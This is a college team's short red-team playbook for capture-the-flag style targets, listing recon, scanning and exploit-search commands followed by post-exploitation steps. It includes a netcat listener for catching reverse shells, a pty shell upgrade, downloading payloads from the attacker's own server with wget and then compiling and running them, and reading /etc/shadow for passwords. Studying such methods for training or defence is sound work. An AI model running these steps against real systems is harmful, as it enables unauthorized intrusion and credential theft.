

**Mercy College Red Team Play Book (Short Version)**- here a playbook for our team. This gives a quick rundown of how we are going to attack a target.

### **Step 1: Passive Information Gathering**

Always start by looking for information that you can find without tripping a firewall, or ending up in a log file. This includes google searches on domains, Whois record lookup and Shodan searches.

#### **Common Linux Commands:**

host [IP address of Target]

whois [domain name of Target]

### **Step 2: Active Information Gathering**

The next step is to figure out the type of network we are working with. We accomplish this by port sweeping, and scanning. The best tool to use for this is NMAP.

#### **Common Linux Commands:**

nmap [IP Address of Target] -sS -sV -oA /root/Desktop/Hackathon/nmap.txt

### **Step 3: Determining Threat Vectors**

Once we determine which open ports we have, we have determined out threat vectors. Further enumeration on each vector is now necessary. Typical threat vectors include ftp, ssh, web, SNMP, SMB and email.

#### **Common Linux Commands:**

#scan target's middleware

nikto -h [IP Address of Target] > /root/Desktop/Hackathon/nikto.txt

#fuzz targets directories

dirb [http://\[IP Address of Target\]](http://[IP Address of Target]) -o /root/Desktop/Hackathon/dirb.txt

#get snmp info from target

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snmpwalk [IP Address of Target] > /root/Desktop/Hackathon/snmp.txt
```

#scan a discovered word press site

```
wpscan -h [IP Address of Target] > /root/Desktop/Hackathon/wpscan.txt
```

#### **Step 4: Finding Exploits**

When we enumerate to the point of finding software and version numbers, we can now check this software for exploits using Exploitdb.com or searchsploit.

#### **Common Linux Commands:**

#find exploit in software version you discovered on the target

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searchsploit [name and version of software]
```

#### **Step 5: Low Privilege Access**

Many times we are trying to turn an exploit into a low privilege shell. This usually requires manual modification of an exploit and using netcat to catch a reverse shell.

#### **Common Linux Commands:**

#netcat listener

```
nc -v -lvp 4444
```

#upgrade shell

```
import python -c 'import pty; pty.spawn("/bin/bash");'
```

#### **Step 6: Privilege Escalation**

At this stage we are likely a low privilege user, such as www-data or apache. You need start performing further enumeration to get to a higher level. This would mean starting again with Information Gathering from our new perspective and then determine vectors and exploits that would

be appropriate for our new found situation. This stage usually requires fancy techniques to get files on and off the machine without being stopped by the security settings.

### **Common Linux Commands:**

# go to the tmp directory as it is usually writable

```
cd /tmp
```

#find the kernel version

```
uname -a
```

#find windows system info

```
systeminfo
```

#set up a python server on your local system

```
python -m SimpleHTTPServer
```

#find your ip address , if you are VPN'd you are probably tun0

```
ifconfig
```

#download a file

```
wget http://\[Your IP Address\]:8000/\[file name\]
```

#compile a file

```
gcc [c file name] -o [file name]
```

#change permissions of a file to execute

```
chmod +x [filename]
```

#execute a file

```
./[filename]
```

### **Step 7: Capture the Flag**

Here we determine look for the flag is the home directories of the server. We use cat and type to display the command depending on whether we are on Linux or Windows.

Common Linux Commands:

#get to the home directory

cd /home/

#print the flag in linux

cat flag.txt

#print the flag in windows

type flag.txt

### **Step 8: Post Exploitation**

Now it is time to see what else we can find on the machine that could help us get further into the network, or discover more passwords for another server.

Common Linux Commands:

#see connections to the server

netstat -ano

#get passwords

cat /etc/shadow